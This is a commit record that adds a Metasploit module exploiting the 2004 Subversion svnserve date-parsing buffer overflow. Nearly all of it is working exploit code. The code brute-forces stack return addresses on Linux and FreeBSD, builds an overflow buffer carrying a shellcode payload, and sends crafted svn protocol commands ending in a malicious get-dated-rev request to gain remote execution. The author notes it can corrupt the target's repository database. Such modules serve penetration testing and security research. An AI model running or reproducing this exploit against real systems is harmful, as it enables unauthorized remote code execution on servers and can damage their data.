svnserve date

git-svn-id: file:///home/svn/framework3/trunk@4264 4d416f70-5f16-0410-b530-b9f4589650da

modules/exploits/multi/svn/svnserve_date.rb

@@ -0,0 +1,124 @@
+require 'msf/core'
+require 'msf/core/exploit/http'
+
+module Msf
+
+class Exploits::Multi::Svn::SvnServeDate < Msf::Exploit::Remote
+
+	include Exploit::Brute
+	include Exploit::Remote::Tcp
+
+	def initialize(info = {})
+		super(update_info(info,	
+			'Name'           => 'Subversion Date Svnserve',
+			'Description'    => %q{
+      This is an exploit for the Subversion date parsing overflow.  This
+      exploit is for the svnserve daemon (svn:// protocol) and will not work
+      for Subversion over webdav (http[s]://).  This exploit should never
+      crash the daemon, and should be safe to do multi-hits.
+
+      **WARNING** This exploit seems to (not very often, I've only seen
+      it during testing) corrupt the subversion database, so be careful!
+			},
+			'Author'         => 'spoonm',
+			'Version'        => '$Revision: 3110 $',
+			'References'     =>
+				[
+					['OSVDB', '6301'],
+					['URL',   'http://lists.netsys.com/pipermail/full-disclosure/2004-May/021737.html'],
+					['MIL',   '68'],
+				],
+			'Payload'        =>
+				{
+					'Space'    => 500,
+					'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x20",
+					'MinNops'  => 16,
+				},	
+			'SaveRegisters'  => [ 'esp' ],
+			'Arch'           => 'x86',
+			'Platform'       => [ 'linux', 'bsd' ],
+			'Targets'        => 
+				[
+					[ 
+						'Linux Bruteforce',
+						{
+							'Platform'   => 'linux',
+							'Bruteforce' => 
+								{
+									'Start' => { 'Ret' => 0xbffffe13 },
+									'Stop'  => { 'Ret' => 0xbfff0000 },
+									'Step'  => 0
+								}
+						},
+					],
+					[ 
+						'FreeBSD Bruteforce',
+						{
+							'Platform'   => 'bsd',
+							'Bruteforce' => 
+								{
+									'Start' => { 'Ret' => 0xbfbffe13 },
+									'Stop'  => { 'Ret' => 0xbfbf0000 },
+									'Step'  => 0
+								}
+						},
+					],
+
+				],
+			'DisclosureDate' => 'May 19 2004'))
+
+		register_options(
+			[
+				Opt::RPORT(3690),	
+				OptString.new('URL', [ true, "SVN URL (ie svn://host/repos)", "svn://host/svn/repos" ])
+			], self.class)
+	
+		register_advanced_options(
+			[
+				# 62 on spoonm's, 88 on HD's
+				OptInt.new('RetLength', [ false, "Length of rets after payload", 100 ]),
+				OptBool.new('IgnoreErrors', [ false, "Ignore errors", false ])
+			], self.class)
+	end
+
+	def check
+	end
+
+	def brute_exploit(addresses)
+		connect
+		
+		print_status("Trying #{"%.8x" % addresses['Ret']}...")
+
+		buffer = ([addresses['Ret']].pack('V') * (datastore['RetLength'] / 4).to_i) + payload.encoded
+		
+		[
+			"( 2 ( edit-pipeline ) " + lengther(datastore['URL']) + " ) ",
+			"( ANONYMOUS ( 0; ) )",
+			"( get-dated-rev ( " + lengther(buffer + " 3 Oct 2000 01:01:01.001 (day 277, dst 1, gmt_off)") + " ) ) "
+		].each_with_index { |buf, index|
+			trash = sock.get_once
+
+			print_line("Received: #{trash}") if debugging?
+			
+			if (sock.put(buf) || 0) == 0 and index < 3
+				print_error("Error transmitting buffer.")
+				raise ExploitError, "Failed to transmit data" if !datastore['IgnoreErrors']
+			end
+
+			if index == 3 and trash.length > 0
+				print_error("Received data when we shouldn't have")
+				raise ExploitError, "Received data when it wasn't expected" if !datastore['IgnoreErrors']
+			end
+		}
+
+		handler
+		disconnect
+	end
+
+	def lengther(buf)
+		"#{buf.length}:" + buf
+	end
+
+end
+
+end